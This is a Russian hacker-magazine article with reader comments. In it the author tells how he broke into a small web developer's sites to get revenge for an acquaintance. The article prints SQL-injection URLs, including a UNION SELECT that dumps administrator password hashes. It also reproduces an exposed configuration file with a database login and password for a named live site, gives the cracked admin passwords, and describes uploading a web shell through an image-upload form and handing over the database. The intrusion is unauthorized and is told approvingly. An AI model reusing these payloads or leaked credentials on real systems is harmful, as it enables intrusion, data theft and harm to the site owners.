Карта сайта Хакер в RSS Энциклопедия Хакера PDA версия сайта Почтовые рассылки Хакера    Хакер в Twitter Хакер в ВКонтакте Приложение Хакер для Facebook Хакер на Formspring.me
Журнал Новости Форум Видео Life Xakep Live (блоги)
Bugtrack Статьи Блог Поиск English
Взлом как образ мысли Взлом как образ мысли
Интервью с человеком, который, как оказалось, является не только талантливым пентестером в одной из крупных ИБ-компании, но и хакером-ветераном, который уверенными шагами вышел на свет и прикоснулся к истории российской хак-сцены....
Полный гид по накрутке онлайн-голосований Полный гид по накрутке онлайн-голосований
Конкурсы с голосованием привлекают большое количество посетителей, а трафик, как известно, — это деньги. Особый интерес вызывают конкурсы, где за победу предлагаются лакомые призы....

Оружие возмездия

Bookmark and Share

Меня всегда удивляли девелоперы, регулярно создающие бажные продукты и умудряющиеся за них брать немалые деньги. Так было и в этот раз. Когда я сидел и ковырял найденную дырку в одном серьезном коммерческом CMS, о котором напишу в следующий раз, в асю стукнул старый знакомый с просьбой. Он сказал, что подрабатывал веб-дизайнером на одну девелоперскую контору, но они его кинули с оплатой, заблокировали аккаунт и вот если бы я вернул ему доступ, то он бы утер нос своим обидчикам. Напел он это не очень внятно и малоубедительно, думаю, скорее всего, его выгнали за регулярное пьянство и срыв сроков выполнения работ. Но так как просил он очень слезно, я отвлекся от своих дел и решил помочь старому знакомому.

Пройдясь по сайту самой фирмы и просканив порты, я ничего вразумительного не нашел, и думал уже забить на все это, так и сказав знакомому, что, видно, судьба к нему сегодня не благосклонна. Тут старый знакомый вспомнил,  что это был не единственный сайт фирмы, и через пару минут у меня был список из нескольких урлов. Я решил попытать счастья на других сайтах в надежде, что пароль одного админа на разных сайтах нередко бывает один и тот же.

Анализ первых трех сайтов также ничего не дал. И только на четвертом запрос с кавычкой выплюнул радостное:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/doublef/public_html/camping/cdb.inc on line 61

Попытка просмотреть содержимое файла cdb.inc ничего не дала, ответ сервера был категоричен: 

You don't have permission to access /camping/cdb.inc on this server

Зато была возможность SQL-инъекции:

http://target.com/?action=viewCat&cid=88&aid=&lid=2+and+1=1/*

Быстро подобрав количество полей (их оказалось всего 7), я поимел нешуточный геммор с названием таблиц. Именно этот процесс мне всегда давался с трудом, но, помня свои предыдущие мучения с подбором страниц, я решил поискать инъекции в других скриптах - может, там мне удастся получить хоть какую-то дополнительную информацию о названиях таблиц и полей.

И действительно, очень быстро я нашел еще одну инъекцию:

http://target.com/?action=viewArt&cid=73&aid=91&lid=2’

,

нет, не выдавшую мне названия таблиц и полей, а всего лишь сообщившую еще об одном файле в системе:

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/doublef/public_html/camping/cdb.inc on line 72

Notice: Undefined index: text in /home/doublef/public_html/camping/function.inc on line 50

,

доступ к которому был для меня также закрыт.

Оставалось только поискать в инете инфу про данную CMS и возможную структуру базы, хотя на это я особенно не рассчитывал. Разговор со знакомым тоже результата не дал, кроме места расположения админки, он ничем помочь не мог.

Введя в гугл /?action=viewCat&cid=, я получил несколько ссылок, и все они вели на ранее просмотренные мною сайты. Тогда я решил проверить наличие файлов cdb.inc и function.inc на них. Директории /camping/ нигде не было, но файлы я нашел в корне всех сайтов и они были доступны мне для просмотра:

http://www.grandmonceau.com/cdb.inc
http://www.grandmonceau.com/function.inc

Даже толком не просмотрев их, я вбил в строку имя файла, которое мне подсказывала интуиция:

http://www.grandmonceau.com/config.inc 

и созерцал реквизиты доступа к БД:

<?
// config.inc
define('PREFIX', dirname(__FILE__)); 
define('DEFAULT_LANGUAGE', "nl");
define('WEBSITE',"Grand Monceau");
$categoryTypes = array(1 => "Algemeen artikel", 
					   2 => "Home pagina", 
					   3 => "Plaatje boven menu",
 					   11 => "Boekingen pagina",
					   4 => "Contact pagina",
					   6 => "Vacature pagina",
					   7 => "Link pagina",
					   8 => "Foto pagina",
				         12=> "Gastenboek");
$userNivo = array(1 => "Administrator",
			2 => "Invoer / Opmaak",
			3 => "Alleen invoer",
			4 => "Alleen Lezen");

$conf['articlesPerPage'] = 10; 
$mail['returnAddress1'] = "cdiepenbroek@wisselaar.nl";
$mail['returnAddress'] = "info@grandmonceau.com";
$mail['headers'] = 'MIME-Version: 1.0' . "\r\n";
$mail['headers'] .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
if(is_readable(PREFIX . "/config_local.inc"))
{ 
	include_once(PREFIX . "/config_local.inc"); 
} 
else 
{ 
	define('PATH_TO_SMARTY', dirname(__FILE__) . "/");
	error_reporting(E_NONE);
	$conf['siteUrl'] = "http://www.grandmonceau.com/";
	//trailing slash required.
	define('DBHOST', "localhost"); 
	define('DBUSER', "grandmon_monceau"); 
	define('DBPASS', "gh6ty84nq2"); 
	define('DBNAME', "grandmon_monceau"); 
	define('ARMINCO_HOSTING', false);
} 
?>

Я сразу прикинул, что, если пароль подойдет к фтп, залью RST MySQL и просмотрю базу. Но пароль к фтп не подошел.

Тогда я принялся анализировать cdb.inc и function.inc, в первом ничего интересного не оказалось, зато второй порадовал полной информацией о таблицах и полях базы, особенно этой:

{ 
global $db; 
$wc = ""; 
if($login === NULL) 
{ 
return ($db->fetch_assoc_table("SELECT * FROM administrator")); 
} 
if($password !== NULL)	$wc = " AND password = MD5('" . $password . "') "; 
return ($db->fast_fetch_assoc("SELECT * FROM administrator 
WHERE login = '" . $login . "'" . $wc)); 
} 

Через минуту я уже владел md5-хешами паролей админа и еще одного пользователя:

http://target.com/?action=viewCat&cid=88& aid=&lid=2+ union+select+1,2,3,4,5,6, password+from+administrator/*

Пробив хеши на http://www.milw0rm.com/md5/info.php, я получил нехитрый пароль админа – qwerty и его напарника – martijn, и вот я уже в админке.

К сожалению, этот чудо-пароль админа не подошел на основном сайте девелоперской конторы.

Админка оказалась чудом минимализма - можно было только добавлять/редактировать/удалять тексты, и только в одном месте я нашел форму для upload’а картинок. Вообще, upload картинок в админке - одно из самых слабых мест, и эта CMS была не исключением.

Залив шелл, я еще немного помучался с его поиском, в конце оказалось, что шелл залился в директорию files, хотя в админке нигде не указывалось, куда заливаются файлы (незач0т девелоперам).

Найдя config.inc и выудив из него реквизиты доступа к БД, уже через шелл я залил RST MySQL и был награжден. База оказалось общей для всех сайтов, различались они только названиями таблиц:

Doublef
Doublef_camping
Doublef_hh
Doublef_org и т.д.

Показав, как пользоваться RST MySQL, я отдал базу на растерзание старому знакомому и отправился спать. И хотя в душе я пацифист, ну в смысле тот, кто всеми путями косит от армии, быть «оружием возмездия» мне было интересно. А ради чего еще жить?



Теги: взлом





СЛЕДУЮЩИЕ СТАТЬИ
Бабло на малвари: как и сколько зарабатывают наши криминальные коллеги?
phpMyAdmin на лопатках: взлом известного движка с помощью нашумевшего бага в глобализации переменных
Критическая уязвимость в SSL вышла из разряда теоретических: исследователи выпустили программу для взлома шифрования
Cloud Hacking: облачные вычисления на службе у пентестера
Опасные обновления: заражение системы через механизм автоапдейтов
SCADA под прицелом: анализ защищенности АСУ ТП
Обратная связь DNS: продвинутый payload для организации туннеля
Сосед из ада: 18 лет тюрьмы за взлом Wi-Fi
Каждому хакеру – по VoIP: ищем и взламываем VoIP-шлюзы
Обратная связь DNS: обходим преграды и организовываем доступ в Сеть
ПРЕДЫДУЩИЕ СТАТЬИ
Без крови и оружия: штурм обменника электронных валют
Skype: скрытая угроза
Можно с вами познакомиться: ломаем сайт знакомств
Snap preview и javasсriрt
Взлом Web 2.0: проникновение в Intranet, сканирование системы №2
Взлом Web 2.0: проникновение в Intranet, сканирование системы №1
Бомбим Rambler: баги крупнейшего интернет-холдинга
Взлом Web 2.0: проникновение в Intranet, определение IP
Взлом Web 2.0: сканирование истории браузера
HITB 2007 started
ОБСУЖДЕНИЕ СТАТЬИ
Логин:
Пароль:
Если у вас есть форумный логин - вы можете использовать его, иначе анонимный гостевой доступ.

Для оставления комментария вы можете зарегистрироваться по упрощенной процедуре.

Обсуждение этой статьи на forum.xakep.ru
Для отправки сообщения введите код, указанный на картинке
Сообщение

UserГость
07.07.2007 1:28:56
Ответить Ссылка
Девелоперы лохи :)
User2fast2die
08.07.2007 19:47:02
Ответить Ссылка
занятно
UserГость
09.07.2007 10:55:08
Ответить Ссылка
согласен с первым гостем
UserГость
16.07.2007 17:27:43
Ответить Ссылка
ребя помогите подскажите как взломать локалку
UserГость
17.07.2007 23:58:40
Ответить Ссылка
Крутооооооооооооооооооооооо




Keywords: zPOSTz zHACKz, zINFOz, zINTERNETz, zYANDEXz z39059z
Для Авторов: edit Lock delete Lock



    Rambler's Top100